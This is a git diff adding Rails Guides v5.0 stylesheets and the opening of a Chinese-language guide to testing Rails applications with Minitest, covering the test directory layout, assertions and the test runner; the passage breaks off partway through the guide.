font-size: 1em; + } +} + +#feature ul {margin-left: 0;} +#feature ul li { + list-style: none; + background: url(http://github.com/images/check_bullet.gif) no-repeat left 0.5em; + padding: 0.5em 1.75em 0.5em 1.75em; + font-size: 1.1428em; + font-weight: bold; +} + +#mainCol dd, #subCol dd { + padding: 0.25em 0 1em; + border-bottom: 1px solid #CCC; + margin-bottom: 1em; + margin-left: 0; + /*padding-left: 28px;*/ + padding-left: 0; +} + +#mainCol dt, #subCol dt { + font-size: 1.2857em; + padding: 0.125em 0 0.25em 0; + margin-bottom: 0; + /*background: url(http://github.com/images/book_icon.gif) no-repeat left top; + padding: 0.125em 0 0.25em 28px;*/ +} + +@media screen and (max-width: 480px) { + #mainCol dt, #subCol dt { + font-size: 1em; + } +} + +#mainCol dd.work-in-progress, #subCol dd.work-in-progress { + background: #fff9d8 url(http://github.com/images/tab_yellow.gif) no-repeat left top; + border: none; + padding: 1.25em 1em 1.25em 48px; + margin-left: 0; + margin-top: 0.25em; +} + +#mainCol dd.kindle, #subCol dd.kindle { + background: #d5e9f6 url(http://github.com/images/tab_info.gif) no-repeat left top; + border: none; + padding: 1.25em 1em 1.25em 48px; + margin-left: 0; + margin-top: 0.25em; +} + +#mainCol div.warning, #subCol dd.warning { + background: #f9d9d8 url(http://github.com/images/tab_red.gif) no-repeat left top; + border: none; + padding: 1.25em 1.25em 0.25em 48px; + margin-left: 0; + margin-top: 0.25em; +} + +#subCol .chapters {color: #980905;} +#subCol .chapters a {font-weight: bold;} +#subCol .chapters ul a {font-weight: normal;} +#subCol .chapters li {margin-bottom: 0.75em;} +#subCol h3.chapter {margin-top: 0.25em;} +#subCol h3.chapter img {vertical-align: text-bottom;} +#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;} +#subCol .chapters ul li { + list-style: none; + padding: 0 0 0 1em; + background: url(http://github.com/images/bullet.gif) no-repeat left 0.45em; + margin-left: 0; + font-size: 1em; + font-weight: normal; +} + +div.code_container { + background: #EEE url(http://github.com/images/tab_grey.gif) no-repeat left top; + padding: 0.25em 1em 0.5em 48px; +} + +.note { + background: #fff9d8 url(http://github.com/images/tab_note.gif) no-repeat left top; + border: none; + padding: 1em 1em 0.25em 48px; + margin: 0.25em 0 1.5em 0; +} + +.info { + background: #d5e9f6 url(http://github.com/images/tab_info.gif) no-repeat left top; + border: none; + padding: 1em 1em 0.25em 48px; + margin: 0.25em 0 1.5em 0; +} + +#mainCol div.todo { + background: #fff9d8 url(http://github.com/images/tab_yellow.gif) no-repeat left top; + border: none; + padding: 1em 1em 0.25em 48px; + margin: 0.25em 0 1.5em 0; +} + +.note code, .info code, .todo code {border:none; background: none; padding: 0;} + +#mainCol ul li { + list-style:none; + background: url(http://github.com/images/grey_bullet.gif) no-repeat left 0.5em; + padding-left: 1em; + margin-left: 0; +} + +#subCol .content { + font-size: 0.7857em; + line-height: 1.5em; +} + +#subCol .content li { + font-weight: normal; + background: none; + padding: 0 0 1em; + font-size: 1.1667em; +} + +/* Clearing +--------------------------------------- */ + +.clearfix:after { + content: "."; + display: block; + height: 0; + clear: both; + visibility: hidden; +} + +.clearfix {display: inline-block;} +* html .clearfix {height: 1%;} +.clearfix {display: block;} +.clear { clear:both; } + +/* Same bottom margin for special boxes than for regular paragraphs, this way +intermediate whitespace looks uniform. */ +div.code_container, div.important, div.caution, div.warning, div.note, div.info { + margin-bottom: 1.5em; +} + +/* Remove bottom margin of paragraphs in special boxes, otherwise they get a +spurious blank area below with the box background. */ +div.important p, div.caution p, div.warning p, div.note p, div.info p { + margin-bottom: 1em; +} + +/* Edge Badge +--------------------------------------- */ + +#edge-badge { + position: fixed; + right: 0px; + top: 0px; + z-index: 100; + border: none; +} + +/* Foundation v2.1.4 http://foundation.zurb.com */ +/* Artfully masterminded by ZURB */ + +table th { font-weight: bold; } +table td, table th { padding: 9px 10px; text-align: left; } + +/* Mobile */ +@media only screen and (max-width: 767px) { + table.responsive { margin-bottom: 0; } + + .pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; } + .pinned table { border-right: none; border-left: none; width: 100%; } + .pinned table th, .pinned table td { white-space: nowrap; } + .pinned td:last-child { border-bottom: 0; } + + div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; } + div.table-wrapper div.scrollable table { margin-left: 35%; } + div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; } + + table.responsive td, table.responsive th { position: relative; white-space: nowrap; overflow: hidden; } + table.responsive th:first-child, table.responsive td:first-child, table.responsive td:first-child, table.responsive.pinned td { display: none; } + +} diff --git a/v5.0/stylesheets/print.css b/v5.0/stylesheets/print.css new file mode 100644 index 0000000..bdc8ec9 --- /dev/null +++ b/v5.0/stylesheets/print.css @@ -0,0 +1,52 @@ +/* Guides.rubyonrails.org */ +/* Print.css */ +/* Created January 30, 2009 */ +/* Modified January 31, 2009 +--------------------------------------- */ + +body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;} + +body { + background: #FFF; + font-size: 10pt !important; + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + line-height: 1.5; + color: #000; + padding: 0 3%; + } + +.hide, .nav { + display: none !important; + } + +a:link, a:visited { + background: transparent; + font-weight: bold; + text-decoration: underline; + } + +hr { + background:#ccc; + color:#ccc; + width:100%; + height:2px; + margin:2em 0; + padding:0; + border:none; +} + +h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; } +code { font:.9em "Courier New", Monaco, Courier, monospace; display:inline} + +img { float:left; margin:1.5em 1.5em 1.5em 0; } +a img { border:none; } + +blockquote { + margin:1.5em; + padding:1em; + font-style:italic; + font-size:.9em; +} + +.small { font-size: .9em; } +.large { font-size: 1.1em; } diff --git a/v5.0/stylesheets/reset.css b/v5.0/stylesheets/reset.css new file mode 100644 index 0000000..cb14fbc --- /dev/null +++ b/v5.0/stylesheets/reset.css @@ -0,0 +1,43 @@ +/* Guides.rubyonrails.org */ +/* Reset.css */ +/* Created January 30, 2009 +--------------------------------------- */ + +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, font, img, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +b, u, i, center, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { + margin: 0; + padding: 0; + border: 0; + outline: 0; + font-size: 100%; + background: transparent; +} + +body {line-height: 1; color: black; background: white;} +a img {border:none;} +ins {text-decoration: none;} +del {text-decoration: line-through;} + +:focus { + -moz-outline:0; + outline:0; + outline-offset:0; +} + +/* tables still need 'cellspacing="0"' in the markup */ +table {border-collapse: collapse; border-spacing: 0;} +caption, th, td {text-align: left; font-weight: normal;} + +blockquote, q {quotes: none;} +blockquote:before, blockquote:after, +q:before, q:after { + content: ''; + content: none; +} diff --git a/v5.0/stylesheets/responsive-tables.css b/v5.0/stylesheets/responsive-tables.css new file mode 100755 index 0000000..f5fbcbf --- /dev/null +++ b/v5.0/stylesheets/responsive-tables.css @@ -0,0 +1,50 @@ +/* Foundation v2.1.4 http://foundation.zurb.com */ +/* Artfully masterminded by ZURB */ + +/* -------------------------------------------------- + Table of Contents +----------------------------------------------------- +:: Shared Styles +:: Page Name 1 +:: Page Name 2 +*/ + + +/* ----------------------------------------- + Shared Styles +----------------------------------------- */ + +table th { font-weight: bold; } +table td, table th { padding: 9px 10px; text-align: left; } + +/* Mobile */ +@media only screen and (max-width: 767px) { + + table { margin-bottom: 0; } + + .pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; } + .pinned table { border-right: none; border-left: none; width: 100%; } + .pinned table th, .pinned table td { white-space: nowrap; } + .pinned td:last-child { border-bottom: 0; } + + div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; } + div.table-wrapper div.scrollable table { margin-left: 35%; } + div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; } + + table td, table th { position: relative; white-space: nowrap; overflow: hidden; } + table th:first-child, table td:first-child, table td:first-child, table.pinned td { display: none; } + +} + +/* ----------------------------------------- + Page Name 1 +----------------------------------------- */ + + + + +/* ----------------------------------------- + Page Name 2 +----------------------------------------- */ + + diff --git a/v5.0/stylesheets/style.css b/v5.0/stylesheets/style.css new file mode 100644 index 0000000..89b2ab8 --- /dev/null +++ b/v5.0/stylesheets/style.css @@ -0,0 +1,13 @@ +/* Guides.rubyonrails.org */ +/* Style.css */ +/* Created January 30, 2009 +--------------------------------------- */ + +/* +--------------------------------------- +Import advanced style sheet +--------------------------------------- +*/ + +@import url("http://github.com/reset.css"); +@import url("http://github.com/main.css"); diff --git a/v5.0/stylesheets/syntaxhighlighter/shCore.css b/v5.0/stylesheets/syntaxhighlighter/shCore.css new file mode 100644 index 0000000..34f6864 --- /dev/null +++ b/v5.0/stylesheets/syntaxhighlighter/shCore.css @@ -0,0 +1,226 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + -moz-border-radius: 0 0 0 0 !important; + -webkit-border-radius: 0 0 0 0 !important; + background: none !important; + border: 0 !important; + bottom: auto !important; + float: none !important; + height: auto !important; + left: auto !important; + line-height: 1.1em !important; + margin: 0 !important; + outline: 0 !important; + overflow: visible !important; + padding: 0 !important; + position: static !important; + right: auto !important; + text-align: left !important; + top: auto !important; + vertical-align: baseline !important; + width: auto !important; + box-sizing: content-box !important; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; + font-weight: normal !important; + font-style: normal !important; + font-size: 1em !important; + min-height: inherit !important; + min-height: auto !important; +} + +.syntaxhighlighter { + width: 100% !important; + margin: 1em 0 1em 0 !important; + position: relative !important; + overflow: auto !important; + font-size: 1em !important; +} +.syntaxhighlighter.source { + overflow: hidden !important; +} +.syntaxhighlighter .bold { + font-weight: bold !important; +} +.syntaxhighlighter .italic { + font-style: italic !important; +} +.syntaxhighlighter .line { + white-space: pre !important; +} +.syntaxhighlighter table { + width: 100% !important; +} +.syntaxhighlighter table caption { + text-align: left !important; + padding: .5em 0 0.5em 1em !important; +} +.syntaxhighlighter table td.code { + width: 100% !important; +} +.syntaxhighlighter table td.code .container { + position: relative !important; +} +.syntaxhighlighter table td.code .container textarea { + box-sizing: border-box !important; + position: absolute !important; + left: 0 !important; + top: 0 !important; + width: 100% !important; + height: 100% !important; + border: none !important; + background: white !important; + padding-left: 1em !important; + overflow: hidden !important; + white-space: pre !important; +} +.syntaxhighlighter table td.gutter .line { + text-align: right !important; + padding: 0 0.5em 0 1em !important; +} +.syntaxhighlighter table td.code .line { + padding: 0 1em !important; +} +.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line { + padding-left: 0em !important; +} +.syntaxhighlighter.show { + display: block !important; +} +.syntaxhighlighter.collapsed table { + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar { + padding: 0.1em 0.8em 0em 0.8em !important; + font-size: 1em !important; + position: static !important; + width: auto !important; + height: auto !important; +} +.syntaxhighlighter.collapsed .toolbar span { + display: inline !important; + margin-right: 1em !important; +} +.syntaxhighlighter.collapsed .toolbar span a { + padding: 0 !important; + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar span a.expandSource { + display: inline !important; +} +.syntaxhighlighter .toolbar { + position: absolute !important; + right: 1px !important; + top: 1px !important; + width: 11px !important; + height: 11px !important; + font-size: 10px !important; + z-index: 10 !important; +} +.syntaxhighlighter .toolbar span.title { + display: inline !important; +} +.syntaxhighlighter .toolbar a { + display: block !important; + text-align: center !important; + text-decoration: none !important; + padding-top: 1px !important; +} +.syntaxhighlighter .toolbar a.expandSource { + display: none !important; +} +.syntaxhighlighter.ie { + font-size: .9em !important; + padding: 1px 0 1px 0 !important; +} +.syntaxhighlighter.ie .toolbar { + line-height: 8px !important; +} +.syntaxhighlighter.ie .toolbar a { + padding-top: 0px !important; +} +.syntaxhighlighter.printing .line.alt1 .content, +.syntaxhighlighter.printing .line.alt2 .content, +.syntaxhighlighter.printing .line.highlighted .number, +.syntaxhighlighter.printing .line.highlighted.alt1 .content, +.syntaxhighlighter.printing .line.highlighted.alt2 .content { + background: none !important; +} +.syntaxhighlighter.printing .line .number { + color: #bbbbbb !important; +} +.syntaxhighlighter.printing .line .content { + color: black !important; +} +.syntaxhighlighter.printing .toolbar { + display: none !important; +} +.syntaxhighlighter.printing a { + text-decoration: none !important; +} +.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a { + color: black !important; +} +.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a { + color: #008200 !important; +} +.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a { + color: blue !important; +} +.syntaxhighlighter.printing .keyword { + color: #006699 !important; + font-weight: bold !important; +} +.syntaxhighlighter.printing .preprocessor { + color: gray !important; +} +.syntaxhighlighter.printing .variable { + color: #aa7700 !important; +} +.syntaxhighlighter.printing .value { + color: #009900 !important; +} +.syntaxhighlighter.printing .functions { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .constants { + color: #0066cc !important; +} +.syntaxhighlighter.printing .script { + font-weight: bold !important; +} +.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a { + color: gray !important; +} +.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a { + color: red !important; +} +.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a { + color: black !important; +} diff --git a/v5.0/stylesheets/syntaxhighlighter/shThemeRailsGuides.css b/v5.0/stylesheets/syntaxhighlighter/shThemeRailsGuides.css new file mode 100644 index 0000000..bc7afd3 --- /dev/null +++ b/v5.0/stylesheets/syntaxhighlighter/shThemeRailsGuides.css @@ -0,0 +1,116 @@ +/** + * Theme by fxn, took shThemeEclipse.css as starting point. + */ +.syntaxhighlighter { + background-color: #eee !important; + font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace !important; + overflow-y: hidden !important; + overflow-x: auto !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #eee !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #eee !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #c3defe !important; +} +.syntaxhighlighter .line.highlighted.number { + color: #eee !important; +} +.syntaxhighlighter table caption { + color: #222 !important; +} +.syntaxhighlighter .gutter { + color: #787878 !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #d4d0c8 !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #d4d0c8 !important; + color: #eee !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #3f5fbf !important; + background: #eee !important; + border: 1px solid #d4d0c8 !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #3f5fbf !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #aa7700 !important; +} +.syntaxhighlighter .toolbar { + color: #a0a0a0 !important; + background: #d4d0c8 !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: #a0a0a0 !important; +} +.syntaxhighlighter .toolbar a:hover { + color: red !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: #222 !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #708090 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + font-style: italic !important; + color: #6588A8 !important; +} +.syntaxhighlighter .keyword { + color: #64434d !important; +} +.syntaxhighlighter .preprocessor { + color: #646464 !important; +} +.syntaxhighlighter .variable { + color: #222 !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #ff1493 !important; +} +.syntaxhighlighter .constants { + color: #0066cc !important; +} +.syntaxhighlighter .script { + color: #222 !important; + background-color: transparent !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: gray !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #222 !important; + font-weight: bold !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: red !important; +} + +.syntaxhighlighter .xml .keyword { + color: #64434d !important; + font-weight: normal !important; +} +.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a { + color: #7f007f !important; +} +.syntaxhighlighter .xml .string { + font-style: italic !important; + color: #6588A8 !important; +} diff --git a/v5.0/testing.html b/v5.0/testing.html new file mode 100644 index 0000000..732fe90 --- /dev/null +++ b/v5.0/testing.html @@ -0,0 +1,1403 @@ + + + + + + + +Rails 应用测试指南 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ + + +
+
+
+

1 为什么要为 Rails 应用编写测试?

在 Rails 中编写测试非常简单,生成模型和控制器时,已经生成了测试代码骨架。

即便是大范围重构后,只需运行测试就能确保实现了所需的功能。

Rails 测试还可以模拟浏览器请求,无需打开浏览器就能测试应用的响应。

2 测试简介

测试是 Rails 应用的重要组成部分,不是为了尝鲜和好奇而编写的。

2.1 Rails 内建对测试的支持

使用 rails new application_name 命令创建一个 Rails 项目时,Rails 会生成 test 目录。如果列出这个目录里的内容,你会看到下述目录和文件:

+
+$ ls -F test
+controllers/    helpers/        mailers/        test_helper.rb
+fixtures/       integration/    models/
+
+
+
+

models 目录存放模型的测试,controllers 目录存放控制器的测试,integration 目录存放涉及多个控制器交互的测试。此外,还有一个目录用于存放邮件程序的测试,以及一个目录用于存放辅助方法的测试。

测试数据使用固件(fixture)组织,存放在 fixtures 目录中。

test_helper.rb 文件存储测试的默认配置。

2.2 测试环境

默认情况下,Rails 应用有三个环境:开发环境、测试环境和生产环境。

各个环境的配置通过类似的方式修改。这里,如果想配置测试环境,可以修改 config/environments/test.rb 文件中的选项。

运行测试时,RAILS_ENV 环境变量的值是 test

2.3 使用 Minitest 测试 Rails 应用

还记得我们在Rails 入门用过的 rails generate model 命令吗?我们使用这个命令生成了第一个模型,这个命令会生成很多内容,其中就包括在 test 目录中创建的测试:

+
+$ bin/rails generate model article title:string body:text
+...
+create  app/models/article.rb
+create  test/models/article_test.rb
+create  test/fixtures/articles.yml
+...
+
+
+
+

默认在 test/models/article_test.rb 文件中生成的测试如下:

+
+require 'test_helper'
+
+class ArticleTest < ActiveSupport::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
+
+
+
+

下面逐行说明这段代码,让你初步了解 Rails 测试代码和相关的术语。

+
+require 'test_helper'
+
+
+
+

这行代码引入 test_helper.rb 文件,即加载默认的测试配置。我们编写的所有测试都会引入这个文件,因此这个文件中定义的代码在所有测试中都可用。

+
+class ArticleTest < ActiveSupport::TestCase
+
+
+
+

ArticleTest 类定义一个测试用例(test case),它继承自 ActiveSupport::TestCase,因此继承了后者的全部方法。本文后面会介绍其中几个。

在继承自 Minitest::TestActiveSupport::TestCase 的超类)的类中定义的方法,只要名称以 test_ 开头(区分大小写),就是一个“测试”。因此,名为 test_passwordtest_valid_password 的方法是有效的测试,运行测试用例时会自动运行。

此外,Rails 定义了 test 方法,它接受一个测试名称和一个块。test 方法在测试名称前面加上 test_,生成常规的 Minitest::Unit 测试。因此,我们无需费心为方法命名,可以像下面这样写:

+
+test "the truth" do
+  assert true
+end
+
+
+
+

这段代码几乎与下述代码一样:

+
+def test_the_truth
+  assert true
+end
+
+
+
+

不过,使用 test 能让测试具有更易读的名称。如果愿意,依然可以使用常规的方式定义方法。

生成方法名时,空格会替换成下划线。不过,结果无需是有效的 Ruby 标识符,名称中可以包含标点符号等。这是因为,严格来说,在 Ruby 中任何字符串都可以作为方法的名称。这样,可能需要使用 define_methodsend 才能让方法其作用,不过在名称形式上的限制较少。

接下来是我们遇到的第一个断言(assertion):

+
+assert true
+
+
+
+

断言求值对象(或表达式),然后与预期结果比较。例如,断言可以检查:

+
    +
  • 两个值是否相等

  • +
  • 对象是否为 nil

  • +
  • 一行代码是否抛出异常

  • +
  • 用户的密码长度是否超过 5 个字符

  • +
+

一个测试中可以有一个或多个断言,对断言的数量没有限制。只有全部断言都成功,测试才能通过。

2.3.1 第一个失败测试

为了了解失败测试是如何报告的,下面在 article_test.rb 测试用例中添加一个失败测试:

+
+test "should not save article without title" do
+  article = Article.new
+  assert_not article.save
+end
+
+
+
+

然后运行这个新增的测试(其中,6 是测试定义所在的行号):

+
+$ bin/rails test test/models/article_test.rb:6
+Run options: --seed 44656
+
+# Running:
+
+F
+
+Failure:
+ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
+Expected true to be nil or false
+
+
+bin/rails test test/models/article_test.rb:6
+
+
+
+Finished in 0.023918s, 41.8090 runs/s, 41.8090 assertions/s.
+
+1 runs, 1 assertions, 1 failures, 0 errors, 0 skips
+
+
+
+

输出中的 F 表示失败(failure)。可以看到,Failure 下面显示了相应的路径和失败测试的名称。下面几行是堆栈跟踪,以及传入断言的具体值和预期值。默认的断言消息足够用于定位错误了。如果想让断言失败消息提供更多的信息,可以使用每个断言都有的可选参数定制消息,如下所示:

+
+test "should not save article without title" do
+  article = Article.new
+  assert_not article.save, "Saved the article without a title"
+end
+
+
+
+

现在运行测试会看到更加友好的断言消息:

+
+Failure:
+ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
+Saved the article without a title
+
+
+
+

为了让测试通过,我们可以为 title 字段添加一个模型层验证:

+
+class Article < ApplicationRecord
+  validates :title, presence: true
+end
+
+
+
+

现在测试应该能通过了。再次运行测试,确认一下:

+
+$ bin/rails test test/models/article_test.rb:6
+Run options: --seed 31252
+
+# Running:
+
+.
+
+Finished in 0.027476s, 36.3952 runs/s, 36.3952 assertions/s.
+
+1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

你可能注意到了,我们先编写一个测试检查所需的功能,它失败了,然后我们编写代码,添加功能,最后确认测试能通过。这种开发软件的方式叫做测试驱动开发(Test-Driven Development,TDD)。

2.3.2 失败的样子

为了查看错误是如何报告的,下面编写一个包含错误的测试:

+
+test "should report error" do
+  # 测试用例中没有定义 some_undefined_variable
+  some_undefined_variable
+  assert true
+end
+
+
+
+

然后运行测试,你会看到更多输出:

+
+$ bin/rails test test/models/article_test.rb
+Run options: --seed 1808
+
+# Running:
+
+.E
+
+Error:
+ArticleTest#test_should_report_error:
+NameError: undefined local variable or method `some_undefined_variable' for #<ArticleTest:0x007fee3aa71798>
+    test/models/article_test.rb:11:in `block in <class:ArticleTest>'
+
+
+bin/rails test test/models/article_test.rb:9
+
+
+
+Finished in 0.040609s, 49.2500 runs/s, 24.6250 assertions/s.
+
+2 runs, 1 assertions, 0 failures, 1 errors, 0 skips
+
+
+
+

注意输出中的“E”,它表示测试有错误(error)。

执行各个测试方法时,只要遇到错误或断言失败,就立即停止,然后接着运行测试组件中的下一个测试方法。测试方法以随机顺序执行。测试顺序可以使用 config.active_support.test_order 选项配置。

测试失败时会显示相应的回溯信息。默认情况下,Rails 会过滤回溯信息,只打印与应用有关的内容。这样不会被框架相关的内容搅乱,有助于集中精力排查代码中的错误。不过,有时需要查看完整的回溯信息。此时,只需设定 -b(或 --backtrace)参数就能启用这一行为:

+
+$ bin/rails test -b test/models/article_test.rb
+
+
+
+

若想让这个测试通过,可以使用 assert_raises 修改,如下:

+
+test "should report error" do
+  # 测试用例中没有定义 some_undefined_variable
+  assert_raises(NameError) do
+    some_undefined_variable
+  end
+end
+
+
+
+

现在这个测试应该能通过了。

2.4 可用的断言

我们大致了解了几个可用的断言。断言是测试的核心所在,是真正执行检查、确保功能符合预期的执行者。

下面摘录部分可以在 Minitest(Rails 默认使用的测试库)中使用的断言。[msg] 参数是可选的消息字符串,能让测试失败消息更明确。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
断言作用
assert( test, [msg] )确保 test 是真值。
assert_not( test, [msg] )确保 test 是假值。
assert_equal( expected, actual, [msg] )确保 expected == actual 成立。
assert_not_equal( expected, actual, [msg] )确保 expected != actual 成立。
assert_same( expected, actual, [msg] )确保 expected.equal?(actual) 成立。
assert_not_same( expected, actual, [msg] )确保 expected.equal?(actual) 不成立。
assert_nil( obj, [msg] )确保 obj.nil? 成立。
assert_not_nil( obj, [msg] )确保 obj.nil? 不成立。
assert_empty( obj, [msg] )确保 obj 是空的。
assert_not_empty( obj, [msg] )确保 obj 不是空的。
assert_match( regexp, string, [msg] )确保字符串匹配正则表达式。
assert_no_match( regexp, string, [msg] )确保字符串不匹配正则表达式。
assert_includes( collection, obj, [msg] )确保 obj 在 collection 中。
assert_not_includes( collection, obj, [msg] )确保 obj 不在 collection 中。
assert_in_delta( expected, actual, [delta], [msg] )确保 expected 和 actual 的差值在 delta 的范围内。
assert_not_in_delta( expected, actual, [delta], [msg] )确保 expected 和 actual 的差值不在 delta 的范围内。
assert_throws( symbol, [msg] ) { block }确保指定的块会抛出指定符号表示的异常。
assert_raises( exception1, exception2, …​ ) { block }确保指定块会抛出指定异常中的一个。
assert_nothing_raised { block }确保指定的块不会抛出任何异常。
assert_instance_of( class, obj, [msg] )确保 obj 是 class 的实例。
assert_not_instance_of( class, obj, [msg] )确保 obj 不是 class 的实例。
assert_kind_of( class, obj, [msg] )确保 obj 是 class 或其后代的实例。
assert_not_kind_of( class, obj, [msg] )确保 obj 不是 class 或其后代的实例。
assert_respond_to( obj, symbol, [msg] )确保 obj 能响应 symbol 对应的方法。
assert_not_respond_to( obj, symbol, [msg] )确保 obj 不能响应 symbol 对应的方法。
assert_operator( obj1, operator, [obj2], [msg] )确保 obj1.operator(obj2) 成立。
assert_not_operator( obj1, operator, [obj2], [msg] )确保 obj1.operator(obj2) 不成立。
assert_predicate( obj, predicate, [msg] )确保 obj.predicate 为真,例如 assert_predicate str, :empty?。
assert_not_predicate( obj, predicate, [msg] )确保 obj.predicate 为假,例如 assert_not_predicate str, :empty?。
assert_send( array, [msg] )确保能在 array[0] 对应的对象上调用 array[1] 对应的方法,并且传入 array[2] 之后的值作为参数,例如 assert_send [@user, :full_name, 'Sam Smith']。很独特吧?
flunk( [msg] )确保失败。可以用这个断言明确标记未完成的测试。
+

以上是 Minitest 支持的部分断言,完整且最新的列表参见 Minitest API 文档,尤其是 Minitest::Assertions 模块的文档

Minitest 这个测试框架是模块化的,因此还可以自己创建断言。事实上,Rails 就这么做了。Rails 提供了一些专门的断言,能简化测试。

自己创建断言是高级话题,本文不涉及。

2.5 Rails 专有的断言

在 Minitest 框架的基础上,Rails 添加了一些自定义的断言。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
断言作用
assert_difference(expressions, difference = 1, message = nil) {…​}运行代码块前后数量变化了多少(通过 expression 表示)。
assert_no_difference(expressions, message = nil, &block)运行代码块前后数量没变多少(通过 expression 表示)。
assert_recognizes(expected_options, path, extras={}, message=nil)断言正确处理了指定路径,而且解析的参数(通过 expected_options 散列指定)与路径匹配。基本上,它断言 Rails 能识别 expected_options 指定的路由。
assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)断言指定的选项能生成指定的路径。作用与 assert_recognizes 相反。extras 参数用于构建查询字符串。message 参数用于为断言失败定制错误消息。
assert_response(type, message = nil)断言响应的状态码。可以指定表示 200-299 的 :success,表示 300-399 的 :redirect,表示 404 的 :missing,或者表示 500-599 的 :error。此外,还可以明确指定数字状态码或对应的符号。详情参见完整的状态码列表及其与符号的对应关系。
assert_redirected_to(options = {}, message=nil)断言传入的重定向选项匹配最近一个动作中的重定向。重定向参数可以只指定部分,例如 assert_redirected_to(controller: "weblog"),也可以完整指定,例如 redirect_to(controller: "weblog", action: "show")。此外,还可以传入具名路由,例如 assert_redirected_to root_path,以及 Active Record 对象,例如 assert_redirected_to @article。
+

在接下来的内容中会用到其中一些断言。

2.6 关于测试用例的简要说明

Minitest::Assertions 模块定义的所有基本断言,例如 assert_equal,都可以在我们编写的测试用例中使用。Rails 提供了下述几个类供你继承:

+ +

这些类都引入了 Minitest::Assertions,因此可以在测试中使用所有基本断言。

Minitest 的详情参见文档

2.7 Rails 测试运行程序

全部测试可以使用 bin/rails test 命令统一运行。

也可以单独运行一个测试,方法是把测试用例所在的文件名传给 bin/rails test 命令。

+
+$ bin/rails test test/models/article_test.rb
+Run options: --seed 1559
+
